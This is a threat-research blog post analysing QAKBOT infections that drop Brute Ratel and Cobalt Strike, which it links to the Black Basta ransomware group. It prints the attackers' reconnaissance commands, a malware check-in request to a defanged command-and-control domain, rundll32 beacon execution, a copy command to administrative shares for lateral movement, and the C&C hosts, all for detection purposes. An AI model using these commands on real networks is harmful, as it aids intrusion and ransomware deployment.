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By: Ian Kenefick, Lucas Silva, Nicole Hernandez October 12, 2022 Read time: 10 min (2565 words) Save to Folio Subscribe -------------------------------------------------------------------------------- SUMMARY QAKBOT’s malware distribution resumed on September 8, 2022 following a brief hiatus, when our researchers spotted several distribution mechanisms on this date. The distribution methods observed included SmokeLoader (using the ‘snow0x’ distributor ID), Emotet (using the ‘azd‘ distributor id), and malicious spam that used the ‘BB’ and ‘Obama20x’ IDs. A recent case involving the QAKBOT ‘BB’ distributor led to the deployment of Brute Ratel (detected by Trend Micro as Backdoor.Win64.BRUTEL) — a framework similar to Cobalt Strike — as a second-stage payload. This is a noteworthy development because it is the first time we have observed Brute Ratel as a second-stage payload via a QAKBOT infection. The attack also involved the use of Cobalt Strike itself for lateral movement. We attribute these activities to the threat actors behind the Black Basta ransomware. Intrusion timeline Figure 1. The intrusion timeline for the attack THE RISE OF BRUTE RATEL AND OTHER C&C FRAMEWORKS Brute Ratel is a commercial (paid) Adversary Emulation framework and a relative newcomer to the commercial C&C Framework space, where it competes with more established players such as Cobalt Strike. Adversary Emulation frameworks like Brute Ratel and Cobalt Strike are marketed to penetration testing professionals (Red Teams) for use in legitimate penetration testing activities in which organizations seek to improve their ability to detect and respond to real cyberattacks. These frameworks are used to provide hands-on keyboard access from remote locations to emulate the tactics, techniques, and procedures (TTPs) used by attackers in network intrusions. On top of Cobalt Strike’s legitimate use cases, it has gained notoriety for its illicit usage and near omnipresence in high-profile, human-operated ransomware attacks during the past few years. It serves as a common second-stage payload from Botnets such as QAKBOT (TrojanSpy.Win64.QAKBOT), IcedID (TrojanSpy.Win64.ICEDID), Emotet (TrojanSpy.Win64.EMOTET), and Bumblebee (Trojan.Win64.BUMBLELOADER), among others. Unfortunately, several versions of Cobalt Strike have been leaked over the past couple of years, accelerating its malicious use by cybercriminals. As a result of its popularity compared to Brute Ratel, its detection coverage is greater than that of the latter. This makes Brute Ratel and other less established C&C frameworks an increasingly more attractive option for malicious actors, whose activities may remain undetected for a longer period. Brute Ratel has recently attracted greater interest from threat actors in the cybercriminal underground, where versions of the framework are actively traded and cracked versions circulated. It is unknown how Brute Ratel was initially leaked, but its developers have acknowledged the leak on Twitter. QAKBOT ‘BB’ to Brute Ratel Figure 2. A summary of the campaign’s procedure The campaign commences via a SPAM email containing a malicious new URL being sent to potential victims. The URL landing page presents the recipient with a password for a ZIP file. Figure 3. Notification that the ZIP file has been downloaded, along with the password to the file SANDBOX AND SECURITY SOLUTION EVASION The use of password-protected ZIP files at this stage is likely an attempt to evade analysis by security solutions. MARK OF THE WEB EVASION The ZIP file contains a single .ISO file. The use of an ISO file is an attempt to defeat the “Mark of the Web (MOTW),” which tags files as being downloaded from the internet. It subjects these files to additional security measures by Windows and endpoint security solutions. The ISO file contains a visible LNK file that uses the “Explorer” icon and two hidden subdirectories, each containing various files and directories. By default, on Windows operating systems, hidden files are not displayed to the user. Figure 5 illustrates what the user sees when the “Show hidden files” setting is enabled. Figure 4. The addition hidden subdirectories that the user sees when the “Show hidden files” setting is enabled The directory structure is as follows: Figure 5. Directory structure File Name Description Detection Name SHA-256 Accounting#7405.iso Trojan.Win32.QAKBOT.YACIW 582a5e2b2652284ebb486bf6a367aaa6bb817c856f08ef54db64c6994c5b91bd Contract.lnk LNK File Trojan.LNK.QAKBOT.YACIW e9e214f7338c6baefd2a76ee66f5fadb0b504718ea3cebc65da7a43a5ff819a4 fodder.txt Decoy text file 4dcf06a5afc699bbb73650cefe4ad86a1b686a257c607e0b96dda85d69544d8a enunciatedNaught.cmd Malicious CMD File Trojan.BAT.QAKBOT.YACIW d44b05b248f95986211ab3dc2765f1d76683594a174984c8b801bd7eade8aa47 eyelid.png Decoy PNG file dd755395b36acfceaa0d7e9c5479df4b1c919d57837fe43068980c5fa7dd6875 reflectiveness.db QAKBOT DLL Trojan.Win32.QAKBOT.YACIW 01fd6e0c8393a5f4112ea19a26bedffb31d6a01f4d3fe5721ca20f479766208f sharpOutvotes.js Malicious JS File Trojan.JS.QAKBOT.YACIW 06c4c4d100e9a7c79e2ee8c4ffa1f7ad165a014f5f14f90ddfc730527c564e35 Table 1. The file names, detection names, and hashes for the indicators used in the initial part of the infection routine COMMAND-LINE INTERFACE - EXECUTION SEQUENCE QAKBOT uses obfuscation across two script files, a JavaScript (.js) file and a Batch Script (.cmd) file, likely in an effort to conceal suspicious-looking command lines. Figure 6. The execution sequence for the command line interface INITIAL QAKBOT C&C SERVER COMMUNICATION The C&C Infrastructure is geographically distributed across compromised hosts residing in predominantly residential Internet Service Provider (ISP) broadband networks. The following countries are where the C&C servers reside: * Afghanistan * Algeria * Argentina * Austria * Brazil * Bulgaria * Canada * Chile * Colombia * Egypt * India * Indonesia * Japan * Mexico * Mongolia * Morocco * Netherlands * Qatar * Russia * South Africa * Taiwan * Thailand * Turkey * United Arab Emirates * United Kingdom * United States * Vietnam * Yemen These ‘Tier 1’ C&C Servers are considered disposable by the QAKBOT operators and are replaced frequently (nearly every time there is a new distribution of the malware), though some persist across multiple QAKBOT malware configurations. Automated reconnaissance commands Just six minutes after the initial C&C communication, and with the QAKBOT malware now running inside an injected process (wermgr.exe), automated reconnaissance in the infected environment is performed via the execution of multiple built-in command line tools. The execution of these command lines is in the following order: Order Process Command Line 1 C:\Windows\SysWOW64\net.exe net view 2 C:\Windows\SysWOW64\ARP.EXE arp -a 3 C:\Windows\SysWOW64\ipconfig.exe ipconfig /all 4 C:\Windows\SysWOW64\nslookup.exe nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.<domain_fqdn> 5 C:\Windows\SysWOW64\net.exe net share 6 C:\Windows\SysWOW64\ROUTE.EXE route print 7 C:\Windows\SysWOW64\NETSTAT.EXE netstat -nao 8 C:\Windows\SysWOW64\net.exe net localgroup 9 C:\Windows\SysWOW64\whoami.exe whoami /all Table 2. The order of execution for the built-in command lines This activity is visible in Trend Micro Vision One™, which detects the suspicious usage of these built-in Windows commands. Figure 7. Trend Micro Vision One showing the activities associated with wermgr.exe QAKBOT DROPS BRUTE RATEL Five minutes after the automated reconnaissance activities are completed, the QAKBOT-injected wermgr.exe process drops the Brute Ratel DLL and invokes it via a rundll32.exe child process with the “main” export function. Figure 8. Trend Micro Vision One showing Brute Ratel being invoked by wermgr.exe via the rundll32.exe process The backdoor is a HTTPS , which performs a check-in with the Brute Ratel Server at symantecuptimehost[.]com: POST hxxps://symantecuptimehost[.]com:8080/admin.php?login= HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: symantecuptimehost[.]com:8080 Content-Length: 122 Cache-Control: no-cache Figure 9. The Brute Ratel check-in Further reconnaissance is performed in the environment to identify privileged users. First, the built-in net.exe and nltest.exe are used. Order Process 1 C:\Windows\SysWOW64\net.exe net group "Domain Admins" /domain 2 C:\Windows\SysWOW64\net.exe net group "Domain Controllers" /domain 3 C:\Windows\SysWOW64\nltest.exe nltest /domain_trusts /all_trusts 4 C:\Windows\SysWOW64\net.exe net user <redacted> /domain Table 3. Reconnaissance processes to identify privileged users Second, the SharpHound utility is run via Brute Ratel in an injected svchost.exe process to output JSON files that are ingested into BloodHound (that describes the Active Directory Organisational Units, Group Policies, Domains, User Groups, Computers, and Users). The files are then packed into a ZIP file in preparation for exfiltration. The entire process is scripted and takes less than two seconds to complete. Figure 10. Outputting JSON files via svchost.exe BRUTE RATEL DROPS COBALT STRIKE Interestingly, the actors chose to leverage Cobalt Strike for lateral movement. The first of several beacon files are dropped onto the same infected endpoint running Brute Ratel C4, with the first being: * C:\Users\Public\Name-123456.xls This beacon file is executed on the same host running the Brute Ratel C4 using the following command: * rundll32 C:\users\public\Name-123456.xls,DllRegisterServer The actor drops the other beacon files and copies these to administrative shares on other hosts on the network, again using filenames bearing XLS attachments. * C:\Users\Public\abcabc.xls * C:\Users\Public\abc-1234.xls * C:\Users\Public\Orders_12_34_56.xls * C:\Users\Public\MkDir.xls The commands used to copy the files are as follows: C:\WINDOWS\system32\cmd.exe /C copy C:\users\public\fksro.xls \\<HOST>\C$\users\public\abcabc.xls The following list is the beacon C&C Servers: * hxxps://fewifasoc[.]com | 45.153.242[.]251 * hxxps://hadujaza[.]com | 45.153.241[.]88 * hxxps://himiketiv[.]com | 45.153.241[.]64 The threat actors were then evicted from the environment before any final actions could be taken. We assess based on the level of access and discovery activity that the likely final actions would have been a domain-wide ransom deployment. QAKBOT ‘Obama’ to Brute Ratel In another, more recent, incident, Trend Micro Research spotted QAKBOT using the “Obama” distributor ID prefix (i.e. “Obama208”) also dropping Brutel Ratel C4 as a second-stage payload. In this case, the malware arrives as a password-protected ZIP file delivered via HTML smuggling, which allows the attacker to “smuggle” an encoded malicious script into an HTML attachment or web page. Once the user opens the HTML page in the browser, the script is decoded and the payload is assembled. Figure 11. QAKBOT distributors use password protection to defeat network and sandbox security scans Once the ZIP file is decrypted using the password provided in the HTML attachment, the user is presented with an ISO file. The malicious files are contained in the ISO file, which is used as a Mark of the Web bypass. Inside, an ISO file bears the following directory structure: Figure 12. ISO file directory structure Since QAKBOT’s return, we have observed multiple varieties in the execution chain, from scripting languages to file extensions and the use of export function names and ordinals. For this infection, the following variation was used: Figure 13. The variation used for the infection The infection plays out with the same TTPs (Tactics, Techniques, and Procedures) described in the first kill chain in this blog. However, one notable difference was observed in the C&C configuration, which used DNS over HTTPS (DoH) vs a more traditional HTTPS C&C Channel. The C&C servers observed used HTTPS with Let’s-Encrypt. By using DoH, attackers can hide DNS queries from C&C domains. If SSL/TLS traffic is not being inspected using man-in-the-middle (MitM) techniques, DNS queries to the C&C server will therefore go unnoticed. Figure 14. Brute Ratel Process performing C&C Communication via DNS over HTTPS (DoH). The threat was contained before any final actions could be taken. LINKS TO THE BLACK BASTA RANSOMWARE Figure 15. Brute Ratel and Cobalt Strike Infrastructure used in QakBot to Black Basta Intrusions (click the image for a larger version of it) Based on our investigations, we can confirm that the QAKBOT-to-Brute Ratel-to-Cobalt Strike kill chain is associated with the group behind the Black Basta Ransomware. This is based on overlapping TTPs and infrastructure observed in Black Basta attacks. It is not the first time that we have observed intrusions via QAKBOT leading to Black Basta. CONCLUSION AND SECURITY RECOMMENDATIONS * Users can thwart new QAKBOT variants and other threats that spread through emails by following some of these best practices: * Verify the email sender and content before downloading attachments or selecting embedded links from emails. * Hover the pointer above embedded links to show the link’s target. * Check the sender’s identity. Unfamiliar email addresses, mismatched email and sender names, and spoofed company emails are some of the signs that the sender has malicious intent. * If the email claims to come from a legitimate company, verify if they actually sent it before taking any action. Organizations should take note of the trending use of Cobalt Strike in attacks, living-off-the-land binaries (LOLBins), and red team or penetration-testing tools, i.e. Brutel Ratel C4, to blend in with the environment. Users can also protect systems through managed detection and response (MDR), which utilizes advanced artificial intelligence to correlate and prioritize threats, determining if they are part of a larger attack. It can detect threats before they are executed, thus preventing further compromise. The constant resurgence of new, more sophisticated variants of known malware, as well as the emergence of entirely unknown threats, demand solutions with advanced detection and response capabilities such as Trend Micro Vision One, a technology that can provide powerful XDR capabilities that collect and automatically correlate data across multiple security layers — from email and endpoints to servers, cloud workloads, and networks. Trend Micro Vision One can prevent attacks via automated protection, while also ensuring that no significant incidents go unnoticed. TACTICS, TECHNIQUES, AND PROCEDURES (TTPS) Tactic / Technique Notes TA0001 Initial Access T1566.001 Phishing: Spear phishing Attachment Victims receive spear phishing emails with attached malicious zip files - typically password protected or HTML file. That file contains an ISO file. T1566.001 Phishing: Spear phishing Link QAKBOT has spread through emails with newly created malicious links. TA0002 Execution T1204.001 User Execution: Malicious Link QAKBOT has gained execution through users accessing malicious link T1204.002 User Execution: Malicious Link QAKBOT has gained execution through users opening malicious attachments T1569.002 System Services: Service Execution Cobalt Strike can use PsExec to execute a payload on a remote host. It can also use Service Control Manager to start new services T1059.005 Command and Scripting Interpreter: Visual Basic Script QAKBOT can use VBS to download and execute malicious files T1059.007 Command and Scripting Interpreter: JavaScript QAKBOT abuses Wscript to execute a Jscript file. TA0003 Persistence T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder QAKBOT can maintain persistence by creating an auto-run Registry key TA0004 Privilege Escalation T1055 Process Injection QAKBOT can inject itself into processes like wermgr.exe TA0006 Defense Evasion T1027.006 Obfuscated Files or Information: HTML Smuggling Smuggles a file’s content by hiding malicious payloads inside of seemingly benign HTML files. T1218.010 System Binary Proxy Execution: Regsvr32 QAKBOT can use Regsvr32 to execute malicious DLLs Cobalt Strike can use rundll32.exe to load DLL from the command line T1140. Deobfuscate/Decode Files or Information Initial QAKBOT .zip file bypasses some antivirus detections due to password protections. T1562.009. Impair Defenses: Safe Boot Mode Black Basta uses bcdedit to boot the device in safe mode. TA0007 Discovery T1010 Application Window Discovery QAKBOT can enumerate windows on a compromised host. T1482 Domain Trust Discovery QAKBOT can run nltest /domain_trusts /all_trusts for domain trust discovery. T1135 Network Share Discovery QAKBOT can use net share to identify network shares for use in lateral movement. T1069.001 Permission Groups Discovery: Local Groups QAKBOT can use net localgroup to enable the discovery of local groups T1057 Process Discovery QAKBOT has the ability to check running processes T1018 Remote System Discovery QAKBOT can identify remote systems through the net view command T1082 System Information Discovery QAKBOT can collect system information including the OS version and domain on a compromised host T1016 System Network Configuration Discovery QAKBOT can use net config workstation, arp -a, and ipconfig /all to gather network configuration information T1049 System Network Connections Discovery QAKBOT can use netstat to enumerate current network connections T1033 System Owner/User Discovery QAKBOT can identify the username on a compromised system TA0008 Lateral Movement T1021 Remote Services: SMB/Windows Admin Shares Cobalt Strike can use Window admin shares (C$ and ADMIN$) for lateral movement TA0011 Command and Control T1071.001 Application Layer Protocol: Web Protocols QAKBOT can use HTTP and HTTPS in communication with the C&C servers. T1573. Encrypted Channel Used by QAKBOT, BRUTEL and Cobalt Strike TA0040 Impact T1486. Data Encrypted for Impact Black Basta uses the ChaCha20 algorithm to encrypt files. The ChaCha20 encryption key is then encrypted with a public RSA-4096 key that is included in the executable. T1489. Service Stop Uses sc stop and taskkill to stop services. T1490. Inhibit System Recovery Black Basta deletes Volume Shadow Copies using vssadmin tool. T1491 - Defacement Replaces the desktop wallpaper to display the ransom note. INDICATORS OF COMPROMISE The indicators of compromise for this entry can be found here. Tags Malware | Research | Network | Articles, News, Reports | Cyber Threats AUTHORS * Ian Kenefick Threats Analyst * Lucas Silva Incident Response Analyst * Nicole Hernandez Threats Analyst Contact Us Subscribe RELATED ARTICLES * Hack the Real Box: APT41’s New Subgroup Earth Longzhi * From Bounty to Exploit: Observations About Cybercriminal Contests * TeamTNT Returns — Or Does It? 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OFF ON Cognitive Disability Profile Assists with reading & focusing This profile provides various assistive features to help users with cognitive disabilities such as Autism, Dyslexia, CVA, and others, to focus on the essential elements of the website more easily. OFF ON Keyboard Navigation (Motor) Use website with the keyboard This profile enables motor-impaired persons to operate the website using the keyboard Tab, Shift+Tab, and the Enter keys. Users can also use shortcuts such as “M” (menus), “H” (headings), “F” (forms), “B” (buttons), and “G” (graphics) to jump to specific elements. Note: This profile prompts automatically for keyboard users. OFF ON Blind Users (Screen Reader) Optimize website for screen-readers This profile adjusts the website to be compatible with screen-readers such as JAWS, NVDA, VoiceOver, and TalkBack. A screen-reader is software that is installed on the blind user’s computer and smartphone, and websites should ensure compatibility with it. Note: This profile prompts automatically to screen-readers. Content Adjustments Content Scaling Default Readable Font Highlight Titles Highlight Links Text Magnifier Adjust Font Sizing Default Align Center Adjust Line Height Default Align Left Adjust Letter Spacing Default Align Right Color Adjustments Dark Contrast Light Contrast High Contrast High Saturation Adjust Text Colors Cancel Monochrome Adjust Title Colors Cancel Low Saturation Adjust Background Colors Cancel Orientation Adjustments Mute Sounds Hide Images Read Mode Reading Guide Useful Links Select an option Home Header Footer Main Content Stop Animations Reading Mask Highlight Hover Highlight Focus Big Black Cursor Big White Cursor HIDDEN_ADJUSTMENTS Keyboard Navigation Accessible Mode Screen Reader Adjustments Read Mode Web Accessibility By Learn More Choose the Interface Language English Español Deutsch Português Français Italiano עברית 繁體中文 Pусский عربى عربى Nederlands 繁體中文 日本語 Polski Türk Accessibility StatementCompliance status We firmly believe that the internet should be available and accessible to anyone and are committed to providing a website that is accessible to the broadest possible audience, regardless of ability. To fulfill this, we aim to adhere as strictly as possible to the World Wide Web Consortium’s (W3C) Web Content Accessibility Guidelines 2.1 (WCAG 2.1) at the AA level. These guidelines explain how to make web content accessible to people with a wide array of disabilities. Complying with those guidelines helps us ensure that the website is accessible to blind people, people with motor impairments, visual impairment, cognitive disabilities, and more. This website utilizes various technologies that are meant to make it as accessible as possible at all times. We utilize an accessibility interface that allows persons with specific disabilities to adjust the website’s UI (user interface) and design it to their personal needs. Additionally, the website utilizes an AI-based application that runs in the background and optimizes its accessibility level constantly. This application remediates the website’s HTML, adapts its functionality and behavior for screen-readers used by blind users, and for keyboard functions used by individuals with motor impairments. If you wish to contact the website’s owner please use the website's form Screen-reader and keyboard navigation Our website implements the ARIA attributes (Accessible Rich Internet Applications) technique, alongside various behavioral changes, to ensure blind users visiting with screen-readers can read, comprehend, and enjoy the website’s functions. As soon as a user with a screen-reader enters your site, they immediately receive a prompt to enter the Screen-Reader Profile so they can browse and operate your site effectively. Here’s how our website covers some of the most important screen-reader requirements: 1. Screen-reader optimization: we run a process that learns the website’s components from top to bottom, to ensure ongoing compliance even when updating the website. In this process, we provide screen-readers with meaningful data using the ARIA set of attributes. For example, we provide accurate form labels; descriptions for actionable icons (social media icons, search icons, cart icons, etc.); validation guidance for form inputs; element roles such as buttons, menus, modal dialogues (popups), and others. Additionally, the background process scans all of the website’s images. It provides an accurate and meaningful image-object-recognition-based description as an ALT (alternate text) tag for images that are not described. It will also extract texts embedded within the image using an OCR (optical character recognition) technology. To turn on screen-reader adjustments at any time, users need only to press the Alt+1 keyboard combination. Screen-reader users also get automatic announcements to turn the Screen-reader mode on as soon as they enter the website. These adjustments are compatible with popular screen readers such as JAWS, NVDA, VoiceOver, and TalkBack. 2. Keyboard navigation optimization: The background process also adjusts the website’s HTML and adds various behaviors using JavaScript code to make the website operable by the keyboard. This includes the ability to navigate the website using the Tab and Shift+Tab keys, operate dropdowns with the arrow keys, close them with Esc, trigger buttons and links using the Enter key, navigate between radio and checkbox elements using the arrow keys, and fill them in with the Spacebar or Enter key. Additionally, keyboard users will find content-skip menus available at any time by clicking Alt+2, or as the first element of the site while navigating with the keyboard. The background process also handles triggered popups by moving the keyboard focus towards them as soon as they appear, not allowing the focus to drift outside. Users can also use shortcuts such as “M” (menus), “H” (headings), “F” (forms), “B” (buttons), and “G” (graphics) to jump to specific elements. Disability profiles supported on our website * Epilepsy Safe Profile: this profile enables people with epilepsy to safely use the website by eliminating the risk of seizures resulting from flashing or blinking animations and risky color combinations. * Vision Impaired Profile: this profile adjusts the website so that it is accessible to the majority of visual impairments such as Degrading Eyesight, Tunnel Vision, Cataract, Glaucoma, and others. * Cognitive Disability Profile: this profile provides various assistive features to help users with cognitive disabilities such as Autism, Dyslexia, CVA, and others, to focus on the essential elements more easily. * ADHD Friendly Profile: this profile significantly reduces distractions and noise to help people with ADHD, and Neurodevelopmental disorders browse, read, and focus on the essential elements more easily. * Blind Users Profile (Screen-readers): this profile adjusts the website to be compatible with screen-readers such as JAWS, NVDA, VoiceOver, and TalkBack. A screen-reader is installed on the blind user’s computer, and this site is compatible with it. * Keyboard Navigation Profile (Motor-Impaired): this profile enables motor-impaired persons to operate the website using the keyboard Tab, Shift+Tab, and the Enter keys. Users can also use shortcuts such as “M” (menus), “H” (headings), “F” (forms), “B” (buttons), and “G” (graphics) to jump to specific elements. Additional UI, design, and readability adjustments 1. Font adjustments – users can increase and decrease its size, change its family (type), adjust the spacing, alignment, line height, and more. 2. Color adjustments – users can select various color contrast profiles such as light, dark, inverted, and monochrome. Additionally, users can swap color schemes of titles, texts, and backgrounds with over seven different coloring options. 3. Animations – epileptic users can stop all running animations with the click of a button. Animations controlled by the interface include videos, GIFs, and CSS flashing transitions. 4. Content highlighting – users can choose to emphasize essential elements such as links and titles. They can also choose to highlight focused or hovered elements only. 5. Audio muting – users with hearing devices may experience headaches or other issues due to automatic audio playing. This option lets users mute the entire website instantly. 6. Cognitive disorders – we utilize a search engine linked to Wikipedia and Wiktionary, allowing people with cognitive disorders to decipher meanings of phrases, initials, slang, and others. 7. Additional functions – we allow users to change cursor color and size, use a printing mode, enable a virtual keyboard, and many other functions. Assistive technology and browser compatibility We aim to support as many browsers and assistive technologies as possible, so our users can choose the best fitting tools for them, with as few limitations as possible. Therefore, we have worked very hard to be able to support all major systems that comprise over 95% of the user market share, including Google Chrome, Mozilla Firefox, Apple Safari, Opera and Microsoft Edge, JAWS, and NVDA (screen readers), both for Windows and MAC users. Notes, comments, and feedback Despite our very best efforts to allow anybody to adjust the website to their needs, there may still be pages or sections that are not fully accessible, are in the process of becoming accessible, or are lacking an adequate technological solution to make them accessible. Still, we are continually improving our accessibility, adding, updating, improving its options and features, and developing and adopting new technologies. All this is meant to reach the optimal level of accessibility following technological advancements. If you wish to contact the website’s owner, please use the website's form Hide Accessibility Interface? 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